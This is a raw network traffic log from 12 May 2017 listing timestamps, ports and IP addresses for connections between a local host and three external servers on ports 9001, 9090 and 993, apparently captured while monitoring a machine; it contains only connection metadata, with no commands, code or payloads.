May 12, 2017 18:54:57.146580935 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.146586895 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.146666050 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.146677971 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.146747112 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.146758080 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.148096085 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:57.148185015 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:57.148202896 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.148597002 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.148612022 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.148726940 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.148740053 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.148802042 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.148816109 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.149477005 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.149494886 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.149827957 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.149843931 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.150063992 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.150079012 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.161160946 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:57.161180973 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.161622047 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:57.161642075 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.161654949 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.161664009 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.161740065 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:57.360634089 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.361080885 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:57.372457027 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.492060900 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.584458113 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.584574938 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:57.711535931 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.747643948 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.747669935 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.747685909 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.747755051 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.750036955 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.750056982 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.750075102 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.750149965 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.750166893 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.750180960 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.750181913 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.750219107 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.750236988 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.750624895 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.753952980 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.800453901 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.800538063 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:57.862087965 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.862796068 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.862832069 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.897229910 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.897263050 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.897598028 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.897619009 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.897864103 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.897882938 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.897959948 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.897974968 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.897993088 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.898010969 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.898022890 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.898313999 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.899161100 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.899177074 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.899188995 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.899475098 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.899739027 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.899915934 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.899940014 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.900237083 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.900263071 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.901496887 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.901530027 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.901884079 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.901906967 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.906301975 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.906332016 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.906591892 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.906614065 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:58.003423929 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:58.003524065 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:58.003545046 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:58.008455992 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:58.008526087 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:58.041574955 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:58.041600943 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:58.041665077 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:58.041683912 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:58.046566010 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:58.046591997 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:58.046652079 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:58.046665907 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:58.050826073 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:58.050851107 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:58.050945997 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:58.050960064 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:58.053306103 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:58.053402901 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:58.053416967 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:58.053436995 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:58.053453922 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:58.055207968 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:58.055236101 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:58.055294991 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:58.055308104 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:58.055476904 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:58.055496931 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:58.055679083 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:58.055695057 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:58.056277037 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:58.056303978 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:58.056364059 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:58.056380987 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:58.056395054 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:58.060480118 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:58.284447908 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:58.508470058 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:58.508603096 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:58.680461884 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:58.680550098 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:58.956481934 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:58.956566095 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:59.708456039 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:59.708566904 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:00.444462061 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:00.444529057 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:55:00.752454996 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:00.752517939 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:03.108449936 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.108568907 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.659929991 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.670319080 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.670346022 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.670358896 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.670366049 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.670372009 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.670378923 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.670383930 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.670388937 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.670397043 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.670402050 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.670490980 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.670510054 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.670519114 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.670525074 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.670531034 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.670547962 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.670553923 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.670559883 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.670636892 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.670665979 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.670743942 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.670762062 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.670770884 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.670775890 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.670783043 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.670785904 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.670789957 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.670794010 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.670798063 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.670802116 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.672806978 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.672832012 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.672843933 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.672849894 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.672853947 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.672858953 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.672863007 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.672869921 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.672873974 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.672880888 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.676547050 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.676589012 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.676600933 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.676608086 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.676615000 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.676623106 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.680850029 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.697680950 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:03.697710037 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.697725058 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.697731972 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.698076963 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:03.710308075 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:03.710359097 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.710383892 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.710390091 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.710393906 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.710400105 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.710406065 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.710514069 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:03.710530996 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.710539103 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.710542917 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.710546970 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.710551023 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.710555077 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.711618900 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:03.711643934 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.711654902 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.711661100 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.711666107 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.711673021 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.711678028 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.712130070 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:03.712146997 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.712156057 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.712162971 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.712172031 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.712176085 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.712182045 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.712523937 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:03.712541103 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.712549925 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.712557077 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.712565899 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.712570906 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.712577105 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.712769985 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:03.712785006 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.712793112 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.712799072 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.712804079 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.712810040 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.712816000 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.714137077 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:55:03.714235067 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:03.714252949 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.714263916 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.714270115 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.714276075 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.714282990 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.714288950 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.715537071 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.715634108 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:03.716232061 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:03.716253996 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.718453884 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.718491077 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.718503952 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.718509912 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.718517065 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.718602896 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.718810081 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:03.718825102 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.719307899 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.719321966 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.719331026 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.719336987 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.719342947 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.719348907 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.719355106 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.719361067 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.719367027 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.719372034 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.719449997 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.719464064 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.719471931 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.719477892 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.719484091 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.719490051 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.719495058 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.719500065 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.719506025 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.719511032 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.719516993 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.719661951 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:03.719675064 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.719682932 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.719688892 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.719772100 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.719786882 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.719794989 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.719800949 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.719806910 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.719813108 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.719818115 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.719824076 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.719829082 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.719835043 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.719840050 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.719861031 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:03.720597982 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:03.720614910 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.720624924 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.720630884 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.720637083 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.720642090 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.720647097 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.720747948 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.720763922 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.720772028 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.720777988 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.720782995 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.720788956 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.720794916 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.720801115 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.720807076 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.720813036 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.720818996 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.720838070 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:03.720849991 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.720858097 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.720864058 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.720870018 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.720875978 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.720880985 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.720886946 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.721349955 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:55:03.721370935 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:03.721491098 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.721508026 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.721525908 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:03.721540928 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.721549034 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.721556902 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.721563101 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.721570015 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.721575022 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.721580982 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.721669912 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.721755981 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:03.721772909 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.721781015 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.721786976 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.721791983 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.721797943 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.721805096 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.721811056 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.722469091 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:03.722620964 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:03.722639084 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.722650051 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.722656965 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.722664118 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.722670078 CEST	9001	49198	79.137.85.71	192.168.1.16
